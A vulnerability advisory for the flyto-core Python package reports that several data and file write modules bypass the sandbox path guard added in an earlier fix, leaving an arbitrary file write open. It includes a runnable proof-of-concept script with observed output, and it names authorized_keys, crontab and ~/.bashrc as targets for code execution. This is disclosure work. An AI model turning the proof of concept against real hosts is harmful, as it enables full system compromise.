data.* / file.* write modules — incomplete fix of GHSA-2956AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.3 Critical (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).
execute_module). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes FLYTO_SANDBOX_DIR. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / ~/.bashrc / cron / authorized_keys → RCE.flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7 line). Modules data.csv.write (src/core/modules/atomic/data/csv_write.py), data.json_to_csv (.../data/json_to_csv.py), file.copy (.../file/copy.py), file.move (.../file/move.py) — and the broader data.*/file.*/report-writer families that do not call the path guard.d5f89d7). That fix routed a hand-picked module list (image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination checkpoint) through validate_path_with_env_config(). It did not cover the data.* and file.* write families, which still write a client-controlled path with no confinement.execute_module (src/core/mcp_handler.py, mcp_server.py) — the same surface as GHSA-2956 / CVE-2026-55786.data.csv.write reads file_path = params.get('file_path') and data (both client-controlled). Its only path check is if '..' in file_path: raise — a denylist that does not block absolute paths.os.makedirs(os.path.dirname(file_path), exist_ok=True) then open(file_path, 'w') and writes data. No call to validate_path_with_env_config() — so FLYTO_SANDBOX_DIR confinement is never applied.data.json_to_csv (output_path), file.copy / file.move (shutil.copy2/shutil.move to destination) have no path check at all./home/<user>/.bashrc, /app/src/core/modules/.../<mod>.py, or a .flyto recipe file is written verbatim, outside the sandbox.Guard analysis: the GHSA-2956 enforcement is per-module (e.g. image/download.py:21 imports and calls validate_path_with_env_config). There is no central path enforcement in the runtime — runtime/languages.py's PathTraversalError guards plugin entry-point loading, not module output paths. So a module that omits the per-module call is entirely unconfined.
The remediation for GHSA-2956 confined writes by adding a per-module validate_path_with_env_config() call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire data.* and file.* families here — remains an arbitrary-write primitive. data.csv.write's '..'-substring check is a denylist that misses absolute paths.
Arbitrary file write with attacker-controlled content and path, escaping FLYTO_SANDBOX_DIR. Overwriting a Python module under the install dir, a .flyto recipe, a shell rc, a crontab, or ~/.ssh/authorized_keys yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.
FLYTO_SANDBOX_DIR is set to the intended confinement; the module writes outside it while the GHSA-2956 guard rejects the same path.
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/flyto_sbx"); os.makedirs(SBX, exist_ok=True)
sys.path.insert(0, "<flyto-core>/src")
OUT = "/tmp/flyto_PWNED_OUTSIDE.csv" # absolute, outside the sandbox, no ".."
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
"| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))
Observed output:
[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path
[data.csv.write] wrote=True inside_sandbox=False
[data.json_to_csv] wrote=True inside_sandbox=False
BUG CONFIRMED (arbitrary write outside sandbox)
sample content: pwn / SENTINEL_CSV
runtime/languages.py PathTraversalError only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at image/download.py:21). A module without the call is unconfined.'..' check in csv_write? Denylist; absolute paths contain no .. → bypassed (PoC uses /tmp/...). json_to_csv/file.copy/file.move have no check at all.required_permissions=['filesystem.write']? A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.FLYTO_SANDBOX_DIR defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.Enforce confinement centrally: route every filesystem write through validate_path_with_env_config() at the engine/module-base layer (e.g. in the write path of BaseModule, or a filesystem.write-capability hook), instead of per-module opt-in. As an immediate patch, add the call to data.csv.write, data.json_to_csv, file.copy, file.move, and audit every module with filesystem.write in required_permissions. Replace the '..' substring denylist with the canonical realpath+startswith(base) check already in validate_path_safe.
High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside FLYTO_SANDBOX_DIR, while the GHSA-2956 guard rejects the same path.
poc_arbitrary_write.py)"""PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).
Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it."""
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx")
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "..", "flyto-core", "src"))
sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src")
OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv"
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))
for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:
inside = os.path.realpath(out).startswith(os.path.realpath(SBX))
print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}")
ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))
print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED")
print(" sample content:", open(OUT).read().strip())
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:09:02Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}